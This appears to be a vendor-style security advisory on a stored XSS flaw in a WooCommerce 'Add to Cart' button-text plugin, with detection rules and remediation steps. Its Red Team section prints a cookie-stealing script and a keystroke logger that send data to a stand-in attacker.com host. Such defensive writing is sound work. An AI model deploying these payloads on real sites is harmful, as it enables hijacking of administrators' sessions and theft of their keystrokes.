CVE-2025-48254

Executive Summary

CVE-2025-48254 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin Change Add to Cart Button Text for WooCommerce by WPFactory, versions up to and including 2.2.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into the plugin’s settings or product pages. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because it can be exploited without requiring elevated privileges beyond a contributor account, and the stored payload persists until manually removed. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the limited scope of impact, but in a multi-tenant or high-traffic WooCommerce store, the risk is elevated.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin directly from the directory or via automatic updates are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby registries. The supply chain risk is moderate: if the plugin is compromised at the source, all installations could be affected. However, the vulnerability is in the plugin’s own code, not in a dependency.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): Low – an attacker needs a contributor-level account or higher.
• User Interaction (UI): Required – the victim must visit the affected page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify data.
• Availability (A): Low – limited impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it a persistent threat for site administrators and visitors.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s handling of the “Add to Cart” button text customization. The plugin allows users to change the button text per product or globally. The input is not properly sanitized before being stored in the database and later rendered on the frontend.

Root Cause: The plugin uses esc_html() or similar functions inconsistently, or fails to escape output in certain contexts. Specifically, the add-to-cart-button-labels-for-woocommerce plugin stores the custom button text in post meta or options, and when displaying it, it does not apply proper output escaping (e.g., wp_kses_post() or esc_html()). This allows an attacker to inject HTML and JavaScript.

Attack Flow:

1. An attacker with contributor-level access logs into the WordPress admin.
2. The attacker navigates to a product edit page or the plugin’s settings.
3. The attacker enters a malicious payload in the “Add to Cart” button text field, e.g., <script>alert('XSS')</script>.
4. The plugin stores the payload in the database without sanitization.
5. When an administrator or other user views the product page or the plugin settings, the payload executes in their browser.

Impact: Stored XSS can lead to:

• Session cookie theft.
• Redirection to malicious sites.
• Defacement of the site.
• Privilege escalation if the admin’s session is hijacked.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (hypothetical):

// In a template or function that displays the button text
echo get_post_meta($post_id, 'custom_add_to_cart_text', true);

Patched Code (hypothetical):

// Properly escape the output
echo esc_html(get_post_meta($post_id, 'custom_add_to_cart_text', true));

The patched version uses esc_html() to neutralize any HTML or JavaScript before rendering. Alternatively, wp_kses_post() could be used if a limited set of HTML tags is allowed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with WooCommerce and the vulnerable plugin (version <= 2.2.2).
• A contributor-level account.

Steps:

1. Log in as a contributor.
2. Go to Products > Edit any product.
3. In the “Add to Cart” button text field, enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Update the product.
5. When an administrator views the product page, the script executes, sending their session cookie to the attacker’s server.

Alternative Payload (for keylogging):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team

Detection:

• Monitor for unusual changes to product meta fields, especially those containing <script> tags.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the database for stored XSS payloads:

  SELECT * FROM wp_postmeta WHERE meta_key LIKE '%add_to_cart%' AND meta_value LIKE '%<script%';
  

• Review WordPress user roles and audit contributor accounts for suspicious activity.

Mitigation:

• Disable the plugin until a patch is available.
• Use a security plugin like Wordfence to add virtual patching.
• Restrict contributor permissions to prevent editing of product data.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/add-to-cart-button-labels-for-woocommerce/ (entire plugin directory)
• Database entries: wp_postmeta with meta_key containing add_to_cart and meta_value containing <script> tags.
• Network traffic: Outbound requests to unknown domains from the WordPress admin or frontend.
• Logs: Unusual POST requests to /wp-admin/post.php or /wp-admin/admin-ajax.php with XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_48254_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress post meta for CVE-2025-48254"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48254"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $meta_key = /add_to_cart_button_labels_for_woocommerce/i
    condition:
        $xss_payload and $meta_key
}

Sigma Rule

title: Stored XSS in WPFactory Add to Cart Button Text
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in the plugin's settings or product meta
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '/wp-admin/post.php'
            - '/wp-admin/admin-ajax.php'
        cs-method: 'POST'
        cs-uri-query|contains: 'add-to-cart-button-labels-for-woocommerce'
    condition: selection
falsepositives:
    - Legitimate use of HTML in button text (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48254 Stored XSS Payload in POST"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"add-to-cart-button-labels-for-woocommerce"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit user roles and remove any suspicious contributor accounts.
3. Scan the database for stored XSS payloads using the SQL query provided in the Blue Team section.
4. Implement a WAF rule to block requests containing <script> in the button text field.

Long-term Fix:

• The vendor (WPFactory) should release a patched version that properly escapes output using esc_html() or wp_kses_post().
• Users should update to the latest version once available.
• Consider using a security plugin that provides virtual patching for known vulnerabilities.

Workaround:

• If the plugin cannot be disabled, restrict contributor permissions to prevent editing of product data. Only administrators should have access to the plugin’s settings.

Valters IT
Securing Digital Frontiers